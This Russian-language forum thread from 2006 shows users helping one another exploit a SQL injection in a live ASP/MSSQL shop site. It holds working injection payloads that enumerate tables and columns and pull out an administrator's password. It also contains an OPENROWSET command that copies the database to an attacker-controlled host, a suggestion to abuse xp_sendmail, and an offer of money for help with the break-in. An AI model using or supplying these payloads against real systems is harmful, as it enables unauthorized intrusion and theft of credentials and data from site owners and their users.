PDA

Просмотр полной версии : Редкая трабла с MsSQL


Xex
05.06.2006, 02:30
Привет!
нашел инъекцию следующего вида
http://www.server.com/products.asp?cat=Cars'


Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark before the character string 'CAR''.

/include/ADOFunctions.asp, line 58

При попытке написать UNION:
http://www.server.com/products.asp?cat=CAR'%20UNION%20ALL%20SELECT%20*%2 0FROM%20INFORMATION_SCHEMA.TABLES--

ругается
Microsoft OLE DB Provider for SQL Server error '80040e14'

Incorrect syntax near the keyword 'UNION'.

/include/ADOFunctions.asp, line 58

Проверил синтакцис сто раз.
фильтрации никакой,
запросы вида
http://www.server.com/products.asp?cat=CAR' or 1=1--
ругется на синтакцис "or".

products.asp?cat=CAR';SELECT%20*%20FROM%20INFORMAT ION_SCHEMA.TABLES--
работает без проблем,
Думал фильтрует юнионы, оры и энды,но запрос вида

products.asp?cat=CAR';SELECT%20*%20FROM%20INFORMAT ION_SCHEMA.TABLES%20UNION%20SELECT%20*%20FROM%20IN FORMATION_SCHEMA.TABLES--
тоже успешно выполняется.

Думал, что все фильтруется после кавычки, однако если ввести немного "подпорченный" запрос(последний прведенный), то он ругается.

Помогите советом.
Пасиб.

Xex
05.06.2006, 04:11
ДА вот по ходу еще два вопроса появилось
1)если юнион не пашет думаю сделать так

insert%20into%20OPENROWSET('SQLoledb',%20'uid=sa;p wd=hack3r;Network=DBMSSOCN;Address=hackersip,1433; ',%20'select%20*%20from%20_sysdatabases')%20%20sel ect%20*%20from%20master.dbo.sysdatabases--

Так вот, кто подскажет бесплатный хостинг, где разрешено подключатся к БД не только с локалхоста

2)еще хотелось бы использовать

'; exec master..xp_sendmail

запускал без ошибок все прошло, но на мыло пока ничего не пришло
Так вот, как узнать что sendmail - точно разрешен?

Пасибо за внимание.

gadjet
05.06.2006, 07:33
Попробуй запрос типа

products.asp?cat=(SELECT * FROM INFORMATION_SCHEMA.TABLES)--

Xex
05.06.2006, 13:46
2 gadjet:
тут подзапросом и не пахнет,хотя попробовал.=)
2 all:
На ачате чтолько грамотных людей тусует, и мне никто не поможет?.может предложить денег?скажем 100 ваксов?

Elekt
05.06.2006, 22:24
http://www.server.com/products.asp?cat=CAR'%20UNION%20SELECT%20TABLE_NAM E%20FROM%20INFORMATION_SCHEMA.TABLES--

И поехали дальше:

?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
(допустим, первая таблица называется 'table1').
Узнать имя таблицы, не table1:
?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
Узнать имя таблицы, не table1, table2, table3:
?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1','table2','table2') --
Найти таблицу, в названии которой присутствует "user":
?id=-1 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25user%25'--
Узнать имя первого столбца в "table1":
?id=-1 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="table1"--
Узнать имя столбца, не 'login_id', не 'login_name', не 'password',details':
?id=-1 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Узнать пароль пользователя 'admin':
?id=-1 UNION SELECT TOP 1 password FROM users where login_name='admin'--
?id=-1 (SELECT+TOP+1+Login+FROM+admin)--
?id=-1 (UNION+SELECT+TOP+1+admin_password+FROM+admin)--


100 баксов мне хватит - высылай =)

Xex
05.06.2006, 22:59
2 Elect:
Уважаемый, я бы выслал деньги, если вы действительно ответили на вопрос=))
перечитайте что я писал выше, юнион здесь не помощь,если было бы ве так просто=)
Думаю сдесь надо делать упор на "exec"

pop_korn
07.08.2006, 14:04
скорее всего у тебя синтаксис не правильный выходит в первом запросе...
попробуй вместо ' ), '), )), ')) и так далее

ZaCo
07.08.2006, 14:44
pop_korn прежде чем советовать подумай.
Xex а кто вообще сказал что там селект? введи order by 1. елси будет ругаться аналогично то там вообще не селект. возможно там `Cat` подставляется прямо в order by тут аналогично никакого юнион селекта не сделать.
OPENROWSET Это безусловно удобная штука, но в большинстве случаев такие внешние вызовы блокируются фаерволом. master..xp_sendmail ОЧЕНЬ редко срабатывает тк во-первых, нужно иметь права админа или пользователя dbo, во-вторых, эта процедура напрямую взаимодействует с outlookoм и никому она в конечном счете вообще не нужна, поэтому с ней даже пытаться работать не советую. а то что проходит без ошибок в ответе скрипта не говорит о том что нет ошибки при выполнении запроса ;)